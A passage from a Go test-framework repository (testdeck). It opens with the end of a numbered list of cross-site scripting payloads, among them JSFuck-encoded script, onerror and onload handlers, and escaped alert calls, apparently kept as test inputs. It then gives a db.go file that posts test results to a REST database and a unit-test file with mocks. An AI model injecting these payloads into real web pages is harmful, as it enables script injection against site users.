!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> 169 | <img src=1 alt=al lang=ert onerror=top[alt+lang](0)> 170 | <script>$=1,alert($)</script> 171 | <script ~~~>confirm(1)</script ~~~> 172 | <script>$=1,\u0061lert($)</script> 173 | <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script> 174 | <</script/script><script ~~~>\u0061lert(1)</script ~~~> 175 | </style></scRipt><scRipt>alert(1)</scRipt> 176 | <img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;> 177 | <img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)> 178 | <svg><x><script>alert&#40;&#39;1&#39;&#41</x> 179 | <iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'> 180 | -------------------------------------------------------------------------------- /service/db/db.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/mercari/testdeck/service/config" 8 | "net/http" 9 | "os" 10 | "reflect" 11 | "strconv" 12 | "strings" 13 | "testing" 14 | "time" 15 | 16 | "github.com/pkg/errors" 17 | 18 | "github.com/mercari/testdeck/constants" 19 | ) 20 | 21 | /* 22 | db.go: This is an example of how you can save test results to a DB. Your organization may require different behavior and data so please feel free to fork/clone this repo and modify for your needs 23 | */ 24 | 25 | // ----- 26 | // Environment and Constants 27 | // ----- 28 | 29 | // HTTPClient is the http.Client to use for all REST API requests 30 | var HTTPClient *http.Client 31 | 32 | const ( 33 | EnvKeyJobName = "JOB_NAME" 34 | EnvKeyPodName = "POD_NAME" 35 | ) 36 | 37 | const ( 38 | // Job is the `job` Endpoint map key 39 | Job = "job" 40 | // JobUpdate is the `job` PUT Endpoint map key 41 | JobUpdate = "jobUpdate" 42 | // Statistic is the `result` Endpoint map key 43 | Statistic = "statistic" 44 | // Timing is the `timing` Endpoint map key 45 | Timing = "timing" 46 | // Status is the `status` Endpoint map key 47 | Status = "status" 48 | ) 49 | 50 | // Examples of endpoints for accessing the test results DB 51 | var Endpoints = map[string]string{ 52 | Job: "/job", 53 | JobUpdate: "/job/:id", 54 | Statistic: "/result", 55 | Timing: "/timing", 56 | Status: "/status", 57 | } 58 | 59 | type ServerResponse struct { 60 | ID int `json:"id"` 61 | Status string `json:"status"` 62 | Error string `json:"error"` 63 | } 64 | 65 | // Represents a DB client 66 | type Db struct { 67 | GcpProjectID string 68 | } 69 | 70 | // ----- 71 | // Helper methods 72 | // ----- 73 | 74 | func readFromConfig() *config.Env { 75 | env, err := config.ReadFromEnv() 76 | if err != nil { 77 | panic(errors.Wrap(err, "Could not read environment variables!")) 78 | } 79 | 80 | return env 81 | } 82 | 83 | // GuardProduction will cause a test to fail if the URL looks like a production 84 | // URL. Use this as the first line in a Test to prevent accidentally saving 85 | // library tests results in production DB. 86 | func GuardProduction(t *testing.T) { 87 | url := readFromConfig().DbUrl 88 | if strings.Contains(strings.ToLower(url), "prod") { 89 | t.Fatalf("You are trying to run this test against what looks like a production database! Current DB URL: %s", url) 90 | } 91 | } 92 | 93 | func composeEndpoint(endpoint string) string { 94 | return readFromConfig().DbUrl + Endpoints[endpoint] 95 | } 96 | 97 | // MySQLTime is a wrapper on time.Time that will marshall to MySQL timestamp format for Json 98 | type MySQLTime struct { 99 | time.Time 100 | } 101 | 102 | func (t MySQLTime) MarshalJSON() ([]byte, error) { 103 | ts := t.UTC().Format("\"2006-01-02 15:04:05\"") 104 | return []byte(ts), nil 105 | } 106 | 107 | // ----- 108 | // Saving jobs 109 | // ----- 110 | 111 | type job struct { 112 | ID int `json:"id"` 113 | GcpProjectID string `json:"gcp_project_id"` 114 | JobName string `json:"job_name"` 115 | PodName string `json:"pod_name"` 116 | Finished bool `json:"finished"` 117 | Failed bool `json:"failed"` 118 | Start MySQLTime `json:"start_ts"` 119 | End MySQLTime `json:"end_ts"` 120 | Duration time.Duration `json:"duration_ns"` 121 | } 122 | 123 | func newJob() *job { 124 | jb := &job{} 125 | jb.JobName = os.Getenv(EnvKeyJobName) 126 | jb.PodName = os.Getenv(EnvKeyPodName) 127 | jb.Start = MySQLTime{time.Now()} 128 | jb.End = jb.Start 129 | return jb 130 | } 131 | 132 | type jobUpdate struct { 133 | Finished bool `json:"finished"` 134 | Failed bool `json:"failed"` 135 | Start MySQLTime `json:"start_ts"` 136 | End MySQLTime `json:"end_ts"` 137 | Duration time.Duration `json:"duration_ns"` 138 | } 139 | 140 | // Writes the initial job record to DB and returns the row ID 141 | // This marks the start of a test run 142 | func (g *Db) SaveJobStart() (int, error) { 143 | jb := newJob() 144 | jb.GcpProjectID = g.GcpProjectID 145 | err := insertRestOperation(composeEndpoint(Job), jb) 146 | return jb.ID, err 147 | } 148 | 149 | // Update the created job record with the final results 150 | // This marks the end of a test run 151 | func (g *Db) updateJobRecord(ID int, stats []constants.Statistics) error { 152 | update := jobUpdate{ 153 | Failed: false, 154 | Finished: true, 155 | } 156 | for _, stat := range stats { 157 | if stat.Failed { 158 | update.Failed = true 159 | } 160 | // find actual starting time 161 | if update.Start.IsZero() || update.Start.After(stat.Start) { 162 | update.Start = MySQLTime{stat.Start} 163 | } 164 | // find actual ending time 165 | if stat.End.After(update.End.Time) { 166 | update.End = MySQLTime{stat.End} 167 | } 168 | } 169 | update.Duration = update.End.Sub(update.Start.Time) 170 | 171 | resource := strings.Replace(composeEndpoint(JobUpdate), ":id", strconv.Itoa(ID), -1) 172 | return updateRestOperation(resource, update) 173 | } 174 | 175 | // ----- 176 | // Saving test results 177 | // ----- 178 | 179 | type result struct { 180 | ID int `json:"id"` 181 | JobID int `json:"job_id"` 182 | GcpProjectID string `json:"gcp_project_id"` 183 | Name string `json:"test_name"` 184 | Failed bool `json:"failed"` 185 | Fatal bool `json:"fatal"` 186 | Start MySQLTime `json:"start_ts"` 187 | End MySQLTime `json:"end_ts"` 188 | Duration time.Duration `json:"duration_ns"` 189 | Output string `json:"output_text"` 190 | } 191 | 192 | func newResultFrom(jobID int, stats constants.Statistics) *result { 193 | return &result{ 194 | JobID: jobID, 195 | Name: stats.Name, 196 | Failed: stats.Failed, 197 | Fatal: stats.Fatal, 198 | Start: MySQLTime{stats.Start}, 199 | End: MySQLTime{stats.End}, 200 | Duration: stats.Duration, 201 | Output: stats.Output, 202 | } 203 | } 204 | 205 | // Writes a set of data.Statistics to the DB database and returns the row numbers 206 | func (g *Db) Save(jobID int, stats []constants.Statistics) (IDs []int, err error) { 207 | err = g.updateJobRecord(jobID, stats) 208 | if err != nil { 209 | return nil, err 210 | } 211 | 212 | IDs = []int{} 213 | for _, stat := range stats { 214 | resultID, err := g.saveStatistics(jobID, stat) 215 | if err != nil { 216 | return nil, err 217 | } 218 | IDs = append(IDs, resultID) 219 | } 220 | return IDs, nil 221 | } 222 | 223 | func (g *Db) saveStatistics(jobID int, stat constants.Statistics) (resultID int, err error) { 224 | resultID, err = g.saveStatisticsRow(jobID, stat) 225 | if err != nil { 226 | return 0, err 227 | } 228 | for _, t := range stat.Timings { 229 | err = g.saveTimingRow(t, resultID) 230 | if err != nil { 231 | return 0, err 232 | } 233 | } 234 | for _, s := range stat.Statuses { 235 | err = g.saveStatusRow(s, resultID) 236 | if err != nil { 237 | return 0, err 238 | } 239 | } 240 | return resultID, err 241 | } 242 | 243 | func (g *Db) saveStatisticsRow(jobID int, s constants.Statistics) (ID int, err error) { 244 | r := newResultFrom(jobID, s) 245 | r.GcpProjectID = g.GcpProjectID 246 | err = insertRestOperation(composeEndpoint(Statistic), r) 247 | ID = r.ID 248 | return 249 | } 250 | 251 | // ----- 252 | // Saving timing statistics 253 | // ----- 254 | 255 | type timing struct { 256 | ResultsID int `json:"results_id"` 257 | Lifecycle string `json:"lifecycle_value"` 258 | Start MySQLTime `json:"start_ts"` 259 | End MySQLTime `json:"end_ts"` 260 | Duration time.Duration `json:"duration_ns"` 261 | Started bool `json:"started_tc"` 262 | Ended bool `json:"ended_tc"` 263 | } 264 | 265 | func newTimingFrom(t constants.Timing, resultID int) *timing { 266 | return &timing{ 267 | ResultsID: resultID, 268 | Lifecycle: t.Lifecycle, 269 | Start: MySQLTime{t.Start}, 270 | End: MySQLTime{t.End}, 271 | Duration: t.Duration, 272 | Started: t.Started, 273 | Ended: t.Ended, 274 | } 275 | } 276 | 277 | func (g *Db) saveTimingRow(t constants.Timing, resultID int) error { 278 | return insertRestOperation(composeEndpoint(Timing), newTimingFrom(t, resultID)) 279 | } 280 | 281 | // ----- 282 | // Saving test status 283 | // ----- 284 | 285 | type status struct { 286 | ID int `json:"id"` 287 | ResultsID int `json:"results_id"` 288 | Status string `json:"status_value"` 289 | Lifecycle string `json:"lifecycle_value"` 290 | Fatal bool `json:"fatal"` 291 | } 292 | 293 | func newStatusFrom(s constants.Status, resultID int) *status { 294 | return &status{ 295 | ResultsID: resultID, 296 | Status: s.Status, 297 | Lifecycle: s.Lifecycle, 298 | Fatal: s.Fatal, 299 | } 300 | } 301 | 302 | func (g *Db) saveStatusRow(s constants.Status, resultID int) error { 303 | return insertRestOperation(composeEndpoint(Status), newStatusFrom(s, resultID)) 304 | } 305 | 306 | // ----- 307 | // Methods 308 | // ----- 309 | 310 | // Creates a new DB client to access the DB 311 | func New(gcpProjectID string) *Db { 312 | return &Db{ 313 | GcpProjectID: gcpProjectID, 314 | } 315 | } 316 | 317 | func initHTTPClient() { 318 | HTTPClient = &http.Client{ 319 | Timeout: constants.DefaultHttpTimeout, 320 | } 321 | } 322 | 323 | // Creates a POST request 324 | func insertRestOperation(resource string, payload interface{}) error { 325 | j, err := json.Marshal(payload) 326 | if err != nil { 327 | return errors.Wrap(err, "error during insert JSON marshalling") 328 | } 329 | 330 | request, err := http.NewRequest("POST", resource, bytes.NewBuffer(j)) 331 | if err != nil { 332 | return errors.Wrap(err, "error building POST request") 333 | } 334 | request.Header.Set("Content-Type", "application/json") 335 | 336 | if HTTPClient == nil { 337 | initHTTPClient() 338 | } 339 | 340 | response, err := HTTPClient.Do(request) 341 | if err != nil { 342 | return errors.Wrap(err, "error doing insert HTTP request") 343 | } 344 | 345 | responseBody := &bytes.Buffer{} 346 | _, err = responseBody.ReadFrom(response.Body) 347 | if err != nil { 348 | return errors.Wrap(err, "error reading insert response body") 349 | } 350 | 351 | sr := ServerResponse{} 352 | err = json.Unmarshal(responseBody.Bytes(), &sr) 353 | if err != nil { 354 | return errors.Wrap(err, "error unmarshalling insert response") 355 | } 356 | 357 | if sr.Status == "error" { 358 | return fmt.Errorf("DB Server Error: %s", sr.Error) 359 | } 360 | 361 | if sr.ID != 0 { 362 | // save the ID to the payload if possible 363 | setID(payload, sr.ID) 364 | } 365 | 366 | return nil 367 | } 368 | 369 | // Creates a PUT request 370 | func updateRestOperation(resource string, payload interface{}) error { 371 | j, err := json.Marshal(payload) 372 | if err != nil { 373 | return errors.Wrap(err, "error during update JSON marshalling") 374 | } 375 | 376 | request, err := http.NewRequest("PUT", resource, bytes.NewBuffer(j)) 377 | if err != nil { 378 | return errors.Wrap(err, "error building PUT request") 379 | } 380 | request.Header.Set("Content-Type", "application/json") 381 | 382 | if HTTPClient == nil { 383 | initHTTPClient() 384 | } 385 | 386 | response, err := HTTPClient.Do(request) 387 | if err != nil { 388 | return errors.Wrap(err, "error doing update HTTP request") 389 | } 390 | 391 | responseBody := &bytes.Buffer{} 392 | _, err = responseBody.ReadFrom(response.Body) 393 | if err != nil { 394 | return errors.Wrap(err, "error reading update response body") 395 | } 396 | 397 | sr := ServerResponse{} 398 | err = json.Unmarshal(responseBody.Bytes(), &sr) 399 | if err != nil { 400 | return errors.Wrap(err, "error unmarshalling update response") 401 | } 402 | 403 | if sr.Status == "error" { 404 | return fmt.Errorf("DB"+ 405 | " Server Error: %s", sr.Error) 406 | } 407 | 408 | return nil 409 | } 410 | 411 | /* 412 | Set the ID of a pointer to a struct if it contains an ID int field. If the 413 | struct pointer contains no ID field, do nothing. 414 | 415 | payload should be a pointer to a struct, otherwise an error will be 416 | returned. 417 | */ 418 | func setID(payload interface{}, id int) error { 419 | v := reflect.ValueOf(payload) 420 | if k := v.Kind(); k != reflect.Ptr { 421 | return fmt.Errorf("setID expects a pointer, instead got Kind: %v", k) 422 | } 423 | 424 | e := v.Elem() 425 | if k := e.Type().Kind(); k != reflect.Struct { 426 | return fmt.Errorf("setID expects a pointer to a struct, instead got Kind: %v", k) 427 | } 428 | 429 | field := e.FieldByName("ID") 430 | if field.IsValid() && field.CanSet() && field.Kind() == reflect.Int { 431 | field.SetInt(int64(id)) 432 | } 433 | 434 | return nil 435 | } 436 | -------------------------------------------------------------------------------- /harness_test.go: -------------------------------------------------------------------------------- 1 | package testdeck 2 | 3 | import ( 4 | "errors" 5 | "sync" 6 | "testing" 7 | 8 | "github.com/mercari/testdeck/constants" 9 | . "github.com/mercari/testdeck/fname" 10 | "github.com/stretchr/testify/assert" 11 | "github.com/stretchr/testify/require" 12 | ) 13 | 14 | // Unit Tests for testdeck 15 | 16 | // mock testing.TB implementation 17 | 18 | func newMockT() *mockT { 19 | return &mockT{ 20 | callCount: &incMap{}, 21 | argsList: make(map[string][][]interface{}), 22 | retVal: map[string]interface{}{ 23 | "Skipped": false, 24 | "Failed": false, 25 | "Name": "", 26 | }, 27 | } 28 | } 29 | 30 | type incMap struct { 31 | sync.Map 32 | } 33 | 34 | func (m *incMap) increment(key interface{}) { 35 | value := m.get(key) 36 | m.Store(key, value+1) 37 | } 38 | 39 | func (m *incMap) get(key interface{}) int { 40 | existing, ok := m.Load(key) 41 | var value int 42 | if ok { 43 | value = existing.(int) 44 | } 45 | return value 46 | } 47 | 48 | type mockT struct { 49 | testing.T 50 | callCount *incMap 51 | argsList map[string][][]interface{} 52 | retVal map[string]interface{} 53 | 54 | ErrorfFormat []string 55 | FatalfFormat []string 56 | SkipfFormat []string 57 | } 58 | 59 | func (t *mockT) returnValue(funcName string, value interface{}) { 60 | t.retVal[funcName] = value 61 | } 62 | 63 | func (t *mockT) logCall() { 64 | t.callCount.increment(Fname(1)) 65 | } 66 | 67 | func (t *mockT) logCallArgs(args ...interface{}) { 68 | fn := Fname(1) 69 | t.callCount.increment(Fname(1)) 70 | t.argsList[fn] = append(t.argsList[fn], args) 71 | } 72 | 73 | func (t *mockT) Error(args ...interface{}) { 74 | t.logCallArgs(args...) 75 | } 76 | 77 | func (t *mockT) Errorf(format string, args ...interface{}) { 78 | t.logCallArgs(args...) 79 | } 80 | 81 | func (t *mockT) Fatal(args ...interface{}) { 82 | t.logCallArgs(args...) 83 | } 84 | 85 | func (t *mockT) Fatalf(format string, args ...interface{}) { 86 | t.logCallArgs(args...) 87 | } 88 | 89 | func (t *mockT) Skip(args ...interface{}) { 90 | t.logCallArgs(args...) 91 | } 92 | 93 | func (t *mockT) Skipf(format string, args ...interface{}) { 94 | t.logCallArgs(args...) 95 | } 96 | 97 | func (t *mockT) Log(args ...interface{}) { 98 | t.logCallArgs(args...) 99 | } 100 | 101 | func (t *mockT) Logf(format string, args ...interface{}) { 102 | t.logCallArgs(args...) 103 | } 104 | 105 | func (t *mockT) SkipNow() { 106 | t.logCall() 107 | } 108 | 109 | func (t *mockT) FailNow() { 110 | t.logCall() 111 | } 112 | 113 | func (t *mockT) Fail() { 114 | t.logCall() 115 | } 116 | 117 | func (t *mockT) Helper() { 118 | t.logCall() 119 | } 120 | 121 | func (t *mockT) Failed() bool { 122 | fn := Fname() 123 | t.callCount.increment(fn) 124 | return t.retVal[fn].(bool) 125 | } 126 | 127 | func (t *mockT) Skipped() bool { 128 | fn := Fname() 129 | t.callCount.increment(fn) 130 | return t.retVal[fn].(bool) 131 | } 132 | 133 | func (t *mockT) Name() string { 134 | fn := Fname() 135 | t.callCount.increment(fn) 136 | return t.retVal[fn].(string) 137 | } 138 | 139 | // Unit Tests 140 | 141 | func Test_TD_ArgMethodsPassThrough(t *testing.T) { 142 | // Arrange 143 | mock := newMockT() 144 | td := TD{ 145 | T: mock, 146 | } 147 | err := errors.New("Error") 148 | 149 | // Act 150 | td.Error(err) 151 | td.Fatal(err) 152 | td.Skip(err) 153 | td.Log(err) 154 | 155 | // Assert 156 | assert.Equal(t, 1, mock.callCount.get("Error")) 157 | assert.Equal(t, 0, mock.callCount.get("Errorf")) 158 | assert.Equal(t, 1, mock.callCount.get("Fatal")) 159 | assert.Equal(t, 0, mock.callCount.get("Fatalf")) 160 | assert.Equal(t, 1, mock.callCount.get("Skip")) 161 | assert.Equal(t, 0, mock.callCount.get("Skipf")) 162 | assert.Equal(t, 1, mock.callCount.get("Log")) 163 | assert.Equal(t, 0, mock.callCount.get("Logf")) 164 | assert.Equal(t, 0, mock.callCount.get("SkipNow")) 165 | assert.Equal(t, 0, mock.callCount.get("FailNow")) 166 | assert.Equal(t, 0, mock.callCount.get("Fail")) 167 | require.Equal(t, 1, len(mock.argsList["Error"])) 168 | require.Equal(t, 1, len(mock.argsList["Fatal"])) 169 | require.Equal(t, 1, len(mock.argsList["Skip"])) 170 | require.Equal(t, 1, len(mock.argsList["Log"])) 171 | require.Equal(t, 1, len(mock.argsList["Error"][0])) 172 | require.Equal(t, 1, len(mock.argsList["Fatal"][0])) 173 | require.Equal(t, 1, len(mock.argsList["Skip"][0])) 174 | require.Equal(t, 1, len(mock.argsList["Log"][0])) 175 | assert.Equal(t, err, mock.argsList["Error"][0][0]) 176 | assert.Equal(t, err, mock.argsList["Fatal"][0][0]) 177 | assert.Equal(t, err, mock.argsList["Skip"][0][0]) 178 | assert.Equal(t, err, mock.argsList["Log"][0][0]) 179 | // assert.Equal(t, 0, mock.callCount.get("Helper")) // methods may arbitrarily call Helper 180 | } 181 | 182 | func Test_TD_ArgfMethodsPassThrough(t *testing.T) { 183 | // Arrange 184 | mock := newMockT() 185 | td := TD{ 186 | T: mock, 187 | } 188 | err := errors.New("Error") 189 | format := "format string" 190 | 191 | // Act 192 | td.Errorf(format, err) 193 | td.Fatalf(format, err) 194 | td.Skipf(format, err) 195 | td.Logf(format, err) 196 | 197 | // Assert 198 | assert.Equal(t, 0, mock.callCount.get("Error")) 199 | assert.Equal(t, 1, mock.callCount.get("Errorf")) 200 | assert.Equal(t, 0, mock.callCount.get("Fatal")) 201 | assert.Equal(t, 1, mock.callCount.get("Fatalf")) 202 | assert.Equal(t, 0, mock.callCount.get("Skip")) 203 | assert.Equal(t, 1, mock.callCount.get("Skipf")) 204 | assert.Equal(t, 0, mock.callCount.get("Log")) 205 | assert.Equal(t, 1, mock.callCount.get("Logf")) 206 | assert.Equal(t, 0, mock.callCount.get("SkipNow")) 207 | assert.Equal(t, 0, mock.callCount.get("FailNow")) 208 | assert.Equal(t, 0, mock.callCount.get("Fail")) 209 | require.Equal(t, 1, len(mock.argsList["Errorf"])) 210 | require.Equal(t, 1, len(mock.argsList["Fatalf"])) 211 | require.Equal(t, 1, len(mock.argsList["Skipf"])) 212 | require.Equal(t, 1, len(mock.argsList["Logf"])) 213 | require.Equal(t, 1, len(mock.argsList["Errorf"][0])) 214 | require.Equal(t, 1, len(mock.argsList["Fatalf"][0])) 215 | require.Equal(t, 1, len(mock.argsList["Skipf"][0])) 216 | require.Equal(t, 1, len(mock.argsList["Logf"][0])) 217 | assert.Equal(t, err, mock.argsList["Errorf"][0][0]) 218 | assert.Equal(t, err, mock.argsList["Fatalf"][0][0]) 219 | assert.Equal(t, err, mock.argsList["Skipf"][0][0]) 220 | assert.Equal(t, err, mock.argsList["Logf"][0][0]) 221 | // assert.Equal(t, 0, mock.callCount.get("Helper")) // methods may arbitrarily call Helper 222 | } 223 | 224 | func Test_TD_NoArgMethodsPassThrough(t *testing.T) { 225 | // Arrange 226 | mock := newMockT() 227 | td := TD{ 228 | T: mock, 229 | } 230 | 231 | // Act 232 | td.SkipNow() 233 | td.FailNow() 234 | td.Fail() 235 | td.Helper() 236 | 237 | // Assert 238 | assert.Equal(t, 0, mock.callCount.get("Error")) 239 | assert.Equal(t, 0, mock.callCount.get("Errorf")) 240 | assert.Equal(t, 0, mock.callCount.get("Fatal")) 241 | assert.Equal(t, 0, mock.callCount.get("Fatalf")) 242 | assert.Equal(t, 0, mock.callCount.get("Skip")) 243 | assert.Equal(t, 0, mock.callCount.get("Skipf")) 244 | assert.Equal(t, 0, mock.callCount.get("Log")) 245 | assert.Equal(t, 0, mock.callCount.get("Logf")) 246 | assert.Equal(t, 1, mock.callCount.get("SkipNow")) 247 | assert.Equal(t, 1, mock.callCount.get("FailNow")) 248 | assert.Equal(t, 1, mock.callCount.get("Fail")) 249 | assert.NotZero(t, mock.callCount.get("Helper")) 250 | } 251 | 252 | func Test_TD_ReturnMethodsPassThrough(t *testing.T) { 253 | // Arrange 254 | mock := newMockT() 255 | const ( 256 | skippedVal = true 257 | failedVal = true 258 | nameVal = "test name" 259 | ) 260 | mock.returnValue("Skipped", skippedVal) 261 | mock.returnValue("Failed", failedVal) 262 | mock.returnValue("Name", nameVal) 263 | td := TD{ 264 | T: mock, 265 | } 266 | 267 | // Act 268 | returnedSkipped := td.Skipped() 269 | returnedFailed := td.Failed() 270 | returnedName := td.Name() 271 | 272 | // Assert 273 | assert.Equal(t, 0, mock.callCount.get("Error")) 274 | assert.Equal(t, 0, mock.callCount.get("Errorf")) 275 | assert.Equal(t, 0, mock.callCount.get("Fatal")) 276 | assert.Equal(t, 0, mock.callCount.get("Fatalf")) 277 | assert.Equal(t, 0, mock.callCount.get("Skip")) 278 | assert.Equal(t, 0, mock.callCount.get("Skipf")) 279 | assert.Equal(t, 0, mock.callCount.get("Log")) 280 | assert.Equal(t, 0, mock.callCount.get("Logf")) 281 | assert.Equal(t, 0, mock.callCount.get("SkipNow")) 282 | assert.Equal(t, 0, mock.callCount.get("FailNow")) 283 | assert.Equal(t, 0, mock.callCount.get("Fail")) 284 | // assert.Equal(t, 0, mock.callCount.get("Helper")) // methods may arbitrarily call Helper 285 | assert.Equal(t, 1, mock.callCount.get("Skipped")) 286 | assert.Equal(t, 1, mock.callCount.get("Failed")) 287 | assert.Equal(t, 1, mock.callCount.get("Name")) 288 | assert.Equal(t, skippedVal, returnedSkipped) 289 | assert.Equal(t, failedVal, returnedFailed) 290 | assert.Equal(t, nameVal, returnedName) 291 | } 292 | 293 | func Test_Test_ShouldExecuteAllLifecycleMethodsInOrder(t *testing.T) { 294 | // Arrange 295 | mock := newMockT() 296 | var callIndex = 0 297 | callCounts := make(map[string]int) 298 | callIndexes := make(map[string]int) 299 | 300 | testCase := &TestCase{ 301 | Arrange: func(t *TD) { 302 | callIndex++ 303 | callIndexes[constants.LifecycleArrange] = callIndex 304 | callCounts[constants.LifecycleArrange]++ 305 | }, 306 | Act: func(t *TD) { 307 | callIndex++ 308 | callIndexes[constants.LifecycleAct] = callIndex 309 | callCounts[constants.LifecycleAct]++ 310 | }, 311 | Assert: func(t *TD) { 312 | callIndex++ 313 | callIndexes[constants.LifecycleAssert] = callIndex 314 | callCounts[constants.LifecycleAssert]++ 315 | }, 316 | After: func(t *TD) { 317 | callIndex++ 318 | callIndexes[constants.LifecycleAfter] = callIndex 319 | callCounts[constants.LifecycleAfter]++ 320 | }, 321 | } 322 | 323 | // Act 324 | td := Test(mock, testCase, TestConfig{ParallelOff: true}) 325 | 326 | // Assert 327 | assert.Equal(t, 1, callCounts[constants.LifecycleArrange]) 328 | assert.Equal(t, 1, callCounts[constants.LifecycleAct]) 329 | assert.Equal(t, 1, callCounts[constants.LifecycleAssert]) 330 | assert.Equal(t, 1, callCounts[constants.LifecycleAfter]) 331 | 332 | assert.Equal(t, 1, callIndexes[constants.LifecycleArrange]) 333 | assert.Equal(t, 2, callIndexes[constants.LifecycleAct]) 334 | assert.Equal(t, 3, callIndexes[constants.LifecycleAssert]) 335 | assert.Equal(t, 4, callIndexes[constants.LifecycleAfter]) 336 | 337 | assert.Equal(t, constants.Status{ 338 | Status: constants.StatusPass, 339 | Lifecycle: constants.LifecycleTestFinished, 340 | Fatal: false, 341 | }, td.statuses[0]) 342 | } 343 | 344 | func Test_Test_ShouldExecuteNoNilLifecycleMethods(t *testing.T) { 345 | // Arrange 346 | mock := newMockT() 347 | testCase := &TestCase{} 348 | 349 | // Act 350 | Test(mock, testCase, TestConfig{ParallelOff: true}) 351 | 352 | // Assert 353 | assert.Equal(t, 0, mock.callCount.get(constants.LifecycleArrange)) 354 | assert.Equal(t, 0, mock.callCount.get(constants.LifecycleAct)) 355 | assert.Equal(t, 0, mock.callCount.get(constants.LifecycleAssert)) 356 | assert.Equal(t, 0, mock.callCount.get(constants.LifecycleAfter)) 357 | } 358 | 359 | func Test_Test_ShouldAllowErrorInEachLifecycleMethod(t *testing.T) { 360 | // Arrange 361 | mock := newMockT() 362 | 363 | testCase := &TestCase{ 364 | Arrange: func(t *TD) { 365 | t.Error() 366 | }, 367 | Act: func(t *TD) { 368 | t.Error() 369 | }, 370 | Assert: func(t *TD) { 371 | t.Error() 372 | }, 373 | After: func(t *TD) { 374 | t.Error() 375 | }, 376 | } 377 | 378 | // Act 379 | td := Test(mock, testCase, TestConfig{ParallelOff: true}) 380 | 381 | // Assert 382 | const wantLenStatus = 5 383 | gotLenStatuses := len(td.statuses) 384 | if gotLenStatuses != wantLenStatus { 385 | t.Fatalf("Want %d statuses, got %d", wantLenStatus, gotLenStatuses) 386 | } 387 | 388 | assert.Equal(t, constants.Status{ 389 | Status: constants.StatusFail, 390 | Lifecycle: constants.LifecycleArrange, 391 | Fatal: false, 392 | }, td.statuses[0]) 393 | assert.Equal(t, constants.Status{ 394 | Status: constants.StatusFail, 395 | Lifecycle: constants.LifecycleAct, 396 | Fatal: false, 397 | }, td.statuses[1]) 398 | assert.Equal(t, constants.Status{ 399 | Status: constants.StatusFail, 400 | Lifecycle: constants.LifecycleAssert, 401 | Fatal: false, 402 | }, td.statuses[2]) 403 | assert.Equal(t, constants.Status{ 404 | Status: constants.StatusFail, 405 | Lifecycle: constants.LifecycleAfter, 406 | Fatal: false, 407 | }, td.statuses[3]) 408 | assert.Equal(t, constants.Status{ 409 | Status: constants.StatusFail, 410 | Lifecycle: constants.LifecycleTestFinished, 411 | Fatal: false, 412 | }, td.statuses[4]) 413 | } 414 | 415 | func Test_Test_ShouldSetTimingsForLifecycleMethods(t *testing.T) { 416 | allLifecycles := []string{ 417 | constants.LifecycleArrange, 418 | constants.LifecycleAct, 419 | constants.LifecycleAssert, 420 | constants.LifecycleAfter, 421 | } 422 | 423 | cases := map[string]struct { 424 | testCase *TestCase 425 | wantLenTimings int 426 | wantLifecycle string 427 | }{ 428 | constants.LifecycleArrange: { 429 | testCase: &TestCase{ 430 | Arrange: func(t *TD) { 431 | t.Error() 432 | }, 433 | }, 434 | wantLifecycle: constants.LifecycleArrange, 435 | }, 436 | constants.LifecycleAct: { 437 | testCase: &TestCase{ 438 | Act: func(t *TD) { 439 | t.Error() 440 | }, 441 | }, 442 | wantLifecycle: constants.LifecycleAct, 443 | }, 444 | constants.LifecycleAssert: { 445 | testCase: &TestCase{ 446 | Assert: func(t *TD) { 447 | t.Error() 448 | }, 449 | }, 450 | wantLifecycle: constants.LifecycleAssert, 451 | }, 452 | constants.LifecycleAfter: { 453 | testCase: &TestCase{ 454 | After: func(t *TD) { 455 | t.Error() 456 | }, 457 | }, 458 | wantLifecycle: constants.LifecycleAfter, 459 | }, 460 | } 461 | 462 | for name, tc := range cases { 463 | t.Run(name, func(t *testing.T) { 464 | // Arrange 465 | mock := newMockT() 466 | 467 | // Act 468 | td := Test(mock, tc.testCase, TestConfig{ParallelOff: true}) 469 | 470 | // Assert 471 | for _, lifecycle := range allLifecycles { 472 | timing, ok := td.timings[lifecycle] 473 | assert.True(t, ok) 474 | assert.Equal(t, lifecycle, timing.Lifecycle) 475 | assert.NotZero(t, timing.Start) 476 | assert.NotZero(t, timing.End) 477 | assert.NotZero(t, timing.Duration) 478 | if lifecycle == tc.wantLifecycle { 479 | // timed case 480 | assert.Equal(t, true, timing.Started) 481 | assert.Equal(t, true, timing.Ended) 482 | assert.True(t, int64(0) < timing.Duration.Nanoseconds()) 483 | } else { 484 | // untimed case 485 | assert.Equal(t, false, timing.Started) 486 | assert.Equal(t, false, timing.Ended) 487 | } 488 | } 489 | }) 490 | } 491 | } 492 | 493 | func Test_TestWithFatal_ShouldBeMarkedFatal(t *testing.T) { 494 | cases := map[string]struct { 495 | testCase 